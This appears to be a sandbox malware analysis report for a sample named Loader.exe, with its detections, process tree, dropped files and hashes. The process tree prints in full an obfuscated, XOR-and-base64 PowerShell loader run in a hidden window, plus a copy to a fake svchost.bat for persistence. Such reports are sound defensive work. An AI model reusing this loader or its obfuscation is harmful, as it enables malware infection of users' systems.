Analysis

  • user interaction
    yes
  • max time kernel
    30s
  • max time network
    32s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260911-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    13/11/2026, 16:50

General

  • Target
    Loader.exe
  • Size 101KB
  • Sample261113-vcbw4sys4l
  • SHA256 bc2b4a45d84bb6d36b8e42b568e0cb9d0db262e13c72d97169f7deedd2776f02
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4360
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\f21bee79-0166-4b81-8117-d100012af46f.bat"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=73-10;$tR5X1eZfm=''bBPRjmyf'';$sI1Po8=''ae9d949bb4aebca2e8b792d0e4adba9fe193de93fdf3e6f793bb838bb4a2bee29c8d828cee82bdafa78c9396a79ae9f69dbcbcc0ee80b6b89b9c8891aea0fb97aa918e9d9b9a8ee493bb838bb4a2bee28b87948ea5b5a791f2d2bc8aafaa91adbb8dcccc93b3a1a5a68fd2dcaaae80e5b4cd81dc9feab1b4a79ade93bdeefab1c5e2f7f293b3b2bebcc5a994a5a2a3ece5bb9f9bafa9b7bfe8dbf7f29b89b6b8e6bb9f8ab6aeb0a998879396b48ab2a2a98f9f8a9dfde99fad8b8f8aa9b3aa9cba878e97a3a8bfecf5c8a1b6a5b3fd9fad8b8f8aa9b3aa9cba878e97a3a8bf98b1989fa5fafd87a0bbd9c8f5cae3b2fff8d5d2a7a8e7f49f90be90a095fe9298a398ceb0ab818b9f9f98cdaf978d86aeb090b5b0f0818aa8f9ba8c9d95afe295b0d9c99da8f68aa98daacda985fea2a9f88cb099ab81b198f88c9fababf2bfa9f8baaa99ab819b968f9890a0ae95e295f98c9199f2fe90a88087a3b095ffb5848fbeca9c98fe919f8add8cb08895929a9ed9caae87fe8b9f9f9888b095bfe5958d98c29c97898ba8fb8799aa85febf9ea398cf99a89595a8fa8088aef0f3b5a9f984caa986928a96a59894bf85aba2a9f8d1cb9eadfe9796a6bea09af0f3b695f8aeaa9dada3b69f80dd8ca9aef6e7adf98cb5b0f3b389a88daaacbf8781949f9daeb09988b489a8fb9890b085aba29d9e80c9b097b38b98a0d1cdaf9895929a9a80979aab9eb2968f98b8a9879da29fa398919d92bf8a9f9098aca0ad9de29b9aba91a297a3919f9fbecdae85fe96aefad1b5a297febc98b0d099aa95bfe58b9e80c2b0aeb38698a3aacdaf85abbcaaf99caa9dadb3b798f8b9a3a185ffb5adf8b29799abf2b795a0dc99be81faeeebe1e5f0b9a4a3fe98b1989fd8ed93aabcadac9f9ea9a9bab8a18794d8e89c87a9b09cd4bdaea4bca8a1869da5fafd86988ed0d4bfa5b380b8ba81949fe89c90a3a69e9f8ab49ae9f68e9a959582a6a0a9fedca98cb2aebdabe0cc9bcbf0eefae5c5e29c8daea4a7a5a786da9ce8e3b2fff9c181dca1f4e1f1868d8dd58fa5b9a9ab9cdab6a5b3fd9bad8ab994a9a2bdb8f3c0bd9db4ea81ada68c9595e0e3b2fff9c8d7bbafb2bdb8e8cc9bcbf1e990a3bd868ed1bce2a8b8ba91818aa5b3a6bea6c8de99f3f5fd88a79f9494afa6b788a99c9bd0e498fab1ab898e9ba8bcaeb1b5e5f09eb5a9b0b8a18794d8a9eff7adfbc4de99f4ebf7adfdc4de99f6fa93e4e1c181dca1f0ee9798809b96b4a8be8ba99c9fa5fafd9fa3a98cbb8bb3a2beaea491d2dca1f4faf7ec89c2c5e4a6e4e28f8d8eacb9b7b6bfe0c186c7bbe38ce28e9d96948ea6bea9e8c59f89e0e3b2f8b5d3de99f9faf7ad'';$s5mzq8=''DzlCYkt1SUdfeGEvG1kZHx9MV2JZVElQQ35qaRF6RV1TfmtgeVRNVERKLVhXGAtVYX9VVmpqY3JgWUZWDAl1ZwdRQFNYfgdkYm9fVXoMbmlyWWBQakBoZ1xwOCAWEQUIE3U1OlZeBBITdjwpdkt/R1ZjbGQWQ3dyVGNscV5MQ0FqLT9ETV1NR1Jea3RLWUJQUj8hZgcRUQgTdjwpdlZaXFxyLSNdCAAXViEsejIyITkTdTQ6fxAEG2h/JSBtbkBpED4lLB8Qc1sXMF1VXHttWEdSUlJpYXhEeVhUbH57dV8OTldsV3l/dQ9UV0J9dX9YUFRdN1d6f3ZPclZBC3t/Zn12VDd5e3h2XFRfQn11f1hQVE1gcXB0ZlgqIi4WFAQbaH8lIG1uQGlvRWZEflBHanZvPWF4eWFQf39iQ3d6X1d2fGlEaFNicWZ8fU1nX2VWdidhY2xfEQ4QPiwrFxBzWxcwV1FTYnRhVFREb0hca1R6dEJvVHxkS1B0RH9IW2REfVJUQlB7ZFR5X11SUAULGh4+CA1WXgQbE3U3OlsYCFEGPihmUVwEF1YjOFxrXVRHGVJrZFBcRV1QSj89amxqCxlQYHNsTF5aWXAtI10KBRoaemRzXFAEbF83IkJtfgdWYGA4IBYYBxMfSG0nGF4fWGNSclJ7elR6clJXQVBhWw4KMCwnFBgEbF83ImZtdXgUHj5+CjUYDBdVJCU6HxBzWxcwTVJpVH9lX1RUTwYNa3tHWlQ3elx1YXVRUlJHXG8DW1pUbHl8e1h9XURvfV5pVH1UXTYPfHtlDl5SN3VebVR+T11sT11/A21cVjdpdHRYQ3JWVgIFCxoXLCUjXQsMDhczZzQRa1lRRGN3blFfBAMbNyFlDBZgVllwcW8fFQwCBT4IDRtZHwIXKiUvYFAMFH9WODoYEQwIOh0hZQsFBGxfNyJWeWpIawddTl8PQG1yBUFGIBYYBxMfSG0nGGlpW35PYjoCHwUIOh0lJx8YRRMfTEZoUU5JQUNKPz15SkNedXZ2YgkMf0dFfmtgFxxhUkN0bWJMYx1uHj4lI10MDBtofyUgZwlEd297MToYEQxzHzNnNBMYCFIEJiknF2dEExBPaXNwanl5UkBUOgIfBR8XP1pvHx9KA19cZ0EKeQsaGzctWFcYC3tmKjggFhgAEx9IbScYbn5AbTAsLjIyDBMXN0JiSxV8QVh0YHRMRF9cRWMlRG9tDB5TcnZkQ0tJX1J0cScSXkVBRGMlMkNeWBN5dmhiE3t8ZhdqCA0yMgwTFzclJx8YDBM='';$yIdT1OUj=0xD595-0xBFAC;$fJUjoSTtq=@();foreach($c in [char[]]$tR5X1eZfm){$fJUjoSTtq+=[byte]($c-bxor0xAA)};$uSCdD3u=$fJUjoSTtq;$fJUjoSTtq=@();foreach($c in [char[]]$tR5X1eZfm){$fJUjoSTtq+=[byte]($c-bxor0x55)};$pqM78hIa=$fJUjoSTtq;$fJUjoSTtqoldR='''';$i=0;for($j=0;$j-lt$sI1Po8.Length;$j+=2){$fJUjoSTtqoldR+=[char](([Convert]::ToInt32($sI1Po8.Substring($j,2),16))-bxor$uSCdD3u[$i++%$uSCdD3u.Length])};$r3fRHl=$fJUjoSTtqoldR;$fJUjoSTtqoldB=[Convert]::FromBase64String([regex]::Replace($s5mzq8, ''$fJUjoSTtq'', ''''));$fJUjoSTtqoldR='''';$i=0;for($j=0;$j-lt$fJUjoSTtqoldB.Length;$j++){$fJUjoSTtqoldR+=[char]($fJUjoSTtqoldB[$j]-bxor$pqM78hIa[$i++%$pqM78hIa.Length])};$uaX6wt7=$fJUjoSTtqoldR;$zs0FZACk=$r3fRHl+$uaX6wt7;.($env:ComSpec[4,26,25]-join'''') $zs0FZACk\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\f21bee79-0166-4b81-8117-d100012af46f.bat' -Destination 'C:\ProgramData\svchost.bat' -Force -ErrorAction SilentlyContinue
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4520
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=73-10;$tR5X1eZfm='bBPRjmyf';$sI1Po8='ae9d949bb4aebca2e8b792d0e4adba9fe193de93fdf3e6f793bb838bb4a2bee29c8d828cee82bdafa78c9396a79ae9f69dbcbcc0ee80b6b89b9c8891aea0fb97aa918e9d9b9a8ee493bb838bb4a2bee28b87948ea5b5a791f2d2bc8aafaa91adbb8dcccc93b3a1a5a68fd2dcaaae80e5b4cd81dc9feab1b4a79ade93bdeefab1c5e2f7f293b3b2bebcc5a994a5a2a3ece5bb9f9bafa9b7bfe8dbf7f29b89b6b8e6bb9f8ab6aeb0a998879396b48ab2a2a98f9f8a9dfde99fad8b8f8aa9b3aa9cba878e97a3a8bfecf5c8a1b6a5b3fd9fad8b8f8aa9b3aa9cba878e97a3a8bf98b1989fa5fafd87a0bbd9c8f5cae3b2fff8d5d2a7a8e7f49f90be90a095fe9298a398ceb0ab818b9f9f98cdaf978d86aeb090b5b0f0818aa8f9ba8c9d95afe295b0d9c99da8f68aa98daacda985fea2a9f88cb099ab81b198f88c9fababf2bfa9f8baaa99ab819b968f9890a0ae95e295f98c9199f2fe90a88087a3b095ffb5848fbeca9c98fe919f8add8cb08895929a9ed9caae87fe8b9f9f9888b095bfe5958d98c29c97898ba8fb8799aa85febf9ea398cf99a89595a8fa8088aef0f3b5a9f984caa986928a96a59894bf85aba2a9f8d1cb9eadfe9796a6bea09af0f3b695f8aeaa9dada3b69f80dd8ca9aef6e7adf98cb5b0f3b389a88daaacbf8781949f9daeb09988b489a8fb9890b085aba29d9e80c9b097b38b98a0d1cdaf9895929a9a80979aab9eb2968f98b8a9879da29fa398919d92bf8a9f9098aca0ad9de29b9aba91a297a3919f9fbecdae85fe96aefad1b5a297febc98b0d099aa95bfe58b9e80c2b0aeb38698a3aacdaf85abbcaaf99caa9dadb3b798f8b9a3a185ffb5adf8b29799abf2b795a0dc99be81faeeebe1e5f0b9a4a3fe98b1989fd8ed93aabcadac9f9ea9a9bab8a18794d8e89c87a9b09cd4bdaea4bca8a1869da5fafd86988ed0d4bfa5b380b8ba81949fe89c90a3a69e9f8ab49ae9f68e9a959582a6a0a9fedca98cb2aebdabe0cc9bcbf0eefae5c5e29c8daea4a7a5a786da9ce8e3b2fff9c181dca1f4e1f1868d8dd58fa5b9a9ab9cdab6a5b3fd9bad8ab994a9a2bdb8f3c0bd9db4ea81ada68c9595e0e3b2fff9c8d7bbafb2bdb8e8cc9bcbf1e990a3bd868ed1bce2a8b8ba91818aa5b3a6bea6c8de99f3f5fd88a79f9494afa6b788a99c9bd0e498fab1ab898e9ba8bcaeb1b5e5f09eb5a9b0b8a18794d8a9eff7adfbc4de99f4ebf7adfdc4de99f6fa93e4e1c181dca1f0ee9798809b96b4a8be8ba99c9fa5fafd9fa3a98cbb8bb3a2beaea491d2dca1f4faf7ec89c2c5e4a6e4e28f8d8eacb9b7b6bfe0c186c7bbe38ce28e9d96948ea6bea9e8c59f89e0e3b2f8b5d3de99f9faf7ad';$s5mzq8='DzlCYkt1SUdfeGEvG1kZHx9MV2JZVElQQ35qaRF6RV1TfmtgeVRNVERKLVhXGAtVYX9VVmpqY3JgWUZWDAl1ZwdRQFNYfgdkYm9fVXoMbmlyWWBQakBoZ1xwOCAWEQUIE3U1OlZeBBITdjwpdkt/R1ZjbGQWQ3dyVGNscV5MQ0FqLT9ETV1NR1Jea3RLWUJQUj8hZgcRUQgTdjwpdlZaXFxyLSNdCAAXViEsejIyITkTdTQ6fxAEG2h/JSBtbkBpED4lLB8Qc1sXMF1VXHttWEdSUlJpYXhEeVhUbH57dV8OTldsV3l/dQ9UV0J9dX9YUFRdN1d6f3ZPclZBC3t/Zn12VDd5e3h2XFRfQn11f1hQVE1gcXB0ZlgqIi4WFAQbaH8lIG1uQGlvRWZEflBHanZvPWF4eWFQf39iQ3d6X1d2fGlEaFNicWZ8fU1nX2VWdidhY2xfEQ4QPiwrFxBzWxcwV1FTYnRhVFREb0hca1R6dEJvVHxkS1B0RH9IW2REfVJUQlB7ZFR5X11SUAULGh4+CA1WXgQbE3U3OlsYCFEGPihmUVwEF1YjOFxrXVRHGVJrZFBcRV1QSj89amxqCxlQYHNsTF5aWXAtI10KBRoaemRzXFAEbF83IkJtfgdWYGA4IBYYBxMfSG0nGF4fWGNSclJ7elR6clJXQVBhWw4KMCwnFBgEbF83ImZtdXgUHj5+CjUYDBdVJCU6HxBzWxcwTVJpVH9lX1RUTwYNa3tHWlQ3elx1YXVRUlJHXG8DW1pUbHl8e1h9XURvfV5pVH1UXTYPfHtlDl5SN3VebVR+T11sT11/A21cVjdpdHRYQ3JWVgIFCxoXLCUjXQsMDhczZzQRa1lRRGN3blFfBAMbNyFlDBZgVllwcW8fFQwCBT4IDRtZHwIXKiUvYFAMFH9WODoYEQwIOh0hZQsFBGxfNyJWeWpIawddTl8PQG1yBUFGIBYYBxMfSG0nGGlpW35PYjoCHwUIOh0lJx8YRRMfTEZoUU5JQUNKPz15SkNedXZ2YgkMf0dFfmtgFxxhUkN0bWJMYx1uHj4lI10MDBtofyUgZwlEd297MToYEQxzHzNnNBMYCFIEJiknF2dEExBPaXNwanl5UkBUOgIfBR8XP1pvHx9KA19cZ0EKeQsaGzctWFcYC3tmKjggFhgAEx9IbScYbn5AbTAsLjIyDBMXN0JiSxV8QVh0YHRMRF9cRWMlRG9tDB5TcnZkQ0tJX1J0cScSXkVBRGMlMkNeWBN5dmhiE3t8ZhdqCA0yMgwTFzclJx8YDBM=';$yIdT1OUj=0xD595-0xBFAC;$fJUjoSTtq=@();foreach($c in [char[]]$tR5X1eZfm){$fJUjoSTtq+=[byte]($c-bxor0xAA)};$uSCdD3u=$fJUjoSTtq;$fJUjoSTtq=@();foreach($c in [char[]]$tR5X1eZfm){$fJUjoSTtq+=[byte]($c-bxor0x55)};$pqM78hIa=$fJUjoSTtq;$fJUjoSTtqoldR='';$i=0;for($j=0;$j-lt$sI1Po8.Length;$j+=2){$fJUjoSTtqoldR+=[char](([Convert]::ToInt32($sI1Po8.Substring($j,2),16))-bxor$uSCdD3u[$i++%$uSCdD3u.Length])};$r3fRHl=$fJUjoSTtqoldR;$fJUjoSTtqoldB=[Convert]::FromBase64String([regex]::Replace($s5mzq8, '$fJUjoSTtq', ''));$fJUjoSTtqoldR='';$i=0;for($j=0;$j-lt$fJUjoSTtqoldB.Length;$j++){$fJUjoSTtqoldR+=[char]($fJUjoSTtqoldB[$j]-bxor$pqM78hIa[$i++%$pqM78hIa.Length])};$uaX6wt7=$fJUjoSTtqoldR;$zs0FZACk=$r3fRHl+$uaX6wt7;.($env:ComSpec[4,26,25]-join'') $zs0FZACk"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4388
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bwgdbzw5\bwgdbzw5.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:444
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EE2.tmp" "c:\Users\Admin\AppData\Local\Temp\bwgdbzw5\CSC73E0BAFBF1F1497BA2505C4611BB96.TMP"
              6⤵
                PID:3636

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 56572269ec031c63d966c6d3b4712600b908d38826c59c0f9a8225d0a783e9f4
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 3519a108f7e9282ad7643eb538bd2cb63b8cafecb0cd683085eb772e1cccf30c
          • MD5 SHA1 SHA512

          RES6EE2.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES6EE2.tmp
          • Size 1KB
          • SHA256 969fe4a7614b3b029813ebdf65c0348e046581881d0942c3811a4c65e03db127
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_f1ok0dtn.c0w.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f1ok0dtn.c0w.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          bwgdbzw5.dll

          • Path C:\Users\Admin\AppData\Local\Temp\bwgdbzw5\bwgdbzw5.dll
          • Size 3KB
          • SHA256 a919c7bfb9a1086b2de0a89f4e80e54792ac4dd8d8f0bc236d0fb07bbc87ff56
          • MD5 SHA1 SHA512 TLSH

          f21bee79-0166-4b81-8117-d100012af46f.bat

          • Path C:\Users\Admin\AppData\Local\Temp\f21bee79-0166-4b81-8117-d100012af46f.bat
          • Size 21KB
          • SHA256 8dc374bde5ff65e90e66fb081463c137cca5269e2bc29aca9369e93ca37f1760
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CSC73E0BAFBF1F1497BA2505C4611BB96.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\bwgdbzw5\CSC73E0BAFBF1F1497BA2505C4611BB96.TMP
          • Size 652B
          • SHA256 77d434b3885dd2f6ce90b13bb32732567284856e6c51d0db0dfdeb19a25aee0b
          • MD5 SHA1 SHA512 TLSH

          bwgdbzw5.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\bwgdbzw5\bwgdbzw5.0.cs
          • Size 213B
          • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
          • MD5 SHA1 SHA512 TLSH

          bwgdbzw5.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\bwgdbzw5\bwgdbzw5.cmdline
          • Size 369B
          • SHA256 295531db45ccb1b66e275541c1a8ef9d2467c78895a778cb3f71ebb6fe01919e
          • MD5 SHA1 SHA512 TLSH

          memory/4360-0-0x00000000001B0000-0x00000000001D0000-memory.dmp

          memory/4388-40-0x000001DB7BBA0000-0x000001DB7BBA8000-memory.dmp

          memory/4520-17-0x000001B7A14D0000-0x000001B7A16ED000-memory.dmp

          memory/4520-13-0x000001B786610000-0x000001B786620000-memory.dmp

          memory/4520-5-0x000001B7A0B20000-0x000001B7A0B42000-memory.dmp

          memory/4520-3-0x000001B786610000-0x000001B786620000-memory.dmp

          memory/4520-4-0x000001B786610000-0x000001B786620000-memory.dmp